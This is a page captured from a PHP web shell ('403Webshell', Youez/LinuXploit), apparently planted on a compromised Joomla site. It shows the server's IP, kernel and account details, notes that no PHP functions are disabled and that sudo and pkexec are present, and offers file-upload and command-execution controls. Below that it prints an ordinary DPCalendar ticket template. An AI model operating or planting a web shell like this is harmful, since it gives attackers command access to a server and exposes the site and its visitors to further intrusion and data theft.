403Webshell
Server IP : 172.67.191.97  /  Your IP : 104.23.243.196
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/idiomas/components/com_dpcalendar/tmpl/booking/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/idiomas/components/com_dpcalendar/tmpl/booking/default_tickets.php
<?php
/**
 * @package   DPCalendar
 * @copyright Copyright (C) 2018 Digital Peak GmbH. <https://www.digital-peak.com>
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
 */

\defined('_JEXEC') or die();

use DigitalPeak\Component\DPCalendar\Administrator\HTML\Block\Icon;
use Joomla\CMS\HTML\Helpers\StringHelper;
use DigitalPeak\Component\DPCalendar\Administrator\Helper\Booking;
use DigitalPeak\Component\DPCalendar\Administrator\Helper\DPCalendarHelper;

$format = $this->params->get('event_date_format', 'd.m.Y') . ' ' . $this->params->get('event_time_format', 'H:i');
?>
<div class="com-dpcalendar-booking__tickets">
	<?php foreach ($this->tickets as $eventId => $tickets) { ?>
		<h3 class="dp-heading">
			<span class="dp-heading__event-label"><?php echo $this->translate('COM_DPCALENDAR_EVENT'); ?>: </span>
			<span class="dp-heading__event-title"><?php echo $tickets[0]->event_title; ?></span>
			<span class="dp-heading__event-date"><?php echo $this->dateHelper->getDateStringFromEvent($tickets[0]); ?></span>
			<?php if ($tickets[0]->event_original_id == -1 && $tickets[0]->event_rrule) { ?>
				<span class="dp-heading__event-rrule">
					<?php echo $this->layoutHelper->renderLayout('block.icon', ['icon' => Icon::RECURRING]); ?>
					<?php echo $this->dateHelper->transformRRuleToString($tickets[0]->event_rrule, $tickets[0]->start_date); ?>
				</span>
			<?php } ?>
		</h3>
		<?php foreach ($tickets as $ticket) { ?>
			<div class="dp-ticket">
				<dl class="dp-description">
					<dt class="dp-description__label"><?php echo $this->translate('COM_DPCALENDAR_TICKET'); ?></dt>
					<dd class="dp-description__description">
						<a href="<?php echo $this->router->getTicketRoute($ticket); ?>" title="<?php echo $ticket->uid; ?>" class="dp-link">
							<?php if ($ticket->price_label) { ?>
								<?php echo $ticket->price_label; ?>
							<?php } else { ?>
								<?php echo StringHelper::abridge($ticket->uid, 15, 5); ?>
							<?php } ?>
						</a>
					</dd>
				</dl>
				<dl class="dp-description">
					<dt class="dp-description__label"><?php echo $this->translate('COM_DPCALENDAR_VIEW_EVENTS_MODAL_COLUMN_STATE'); ?></dt>
					<dd class="dp-description__description"><?php echo Booking::getStatusLabel($ticket); ?></dd>
				</dl>
				<dl class="dp-description">
					<dt class="dp-description__label"><?php echo $this->translate('COM_DPCALENDAR_TICKET_FIELD_NAME_LABEL'); ?></dt>
					<dd class="dp-description__description"><?php echo $ticket->first_name . ' ' . $ticket->name; ?></dd>
				</dl>
				<?php if ($location = $this->app->bootComponent('dpcalendar')->getMVCFactory()->createModel('Geo','Administrator')->format([$ticket])) { ?>
					<dl class="dp-description">
						<dt class="dp-description__label"><?php echo $this->translate('COM_DPCALENDAR_LOCATION'); ?></dt>
						<dd class="dp-description__description"><?php echo $location; ?></dd>
					</dl>
				<?php } ?>
				<?php if ($ticket->price) { ?>
					<dl class="dp-description">
						<dt class="dp-description__label"><?php echo $this->translate('COM_DPCALENDAR_BOOKING_FIELD_PRICE_LABEL'); ?></dt>
						<dd class="dp-description__description"><?php echo DPCalendarHelper::renderPrice($ticket->price); ?></dd>
					</dl>
				<?php } ?>
			</div>
		<?php } ?>
		<?php if (!empty($this->eventOptions[$eventId])) { ?>
			<?php foreach ($this->eventOptions[$eventId] as $option) { ?>
				<div class="dp-option">
					<dl class="dp-description">
						<dt class="dp-description__label"><?php echo $this->translate('COM_DPCALENDAR_OPTION'); ?></dt>
						<dd class="dp-description__description">
							<?php echo DPCalendarHelper::renderPrice($option['value']); ?>
							<?php echo $option['amount']; ?>
							<?php echo $option['label']; ?>
						</dd>
					</dl>
				</div>
			<?php } ?>
		<?php } ?>
	<?php } ?>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit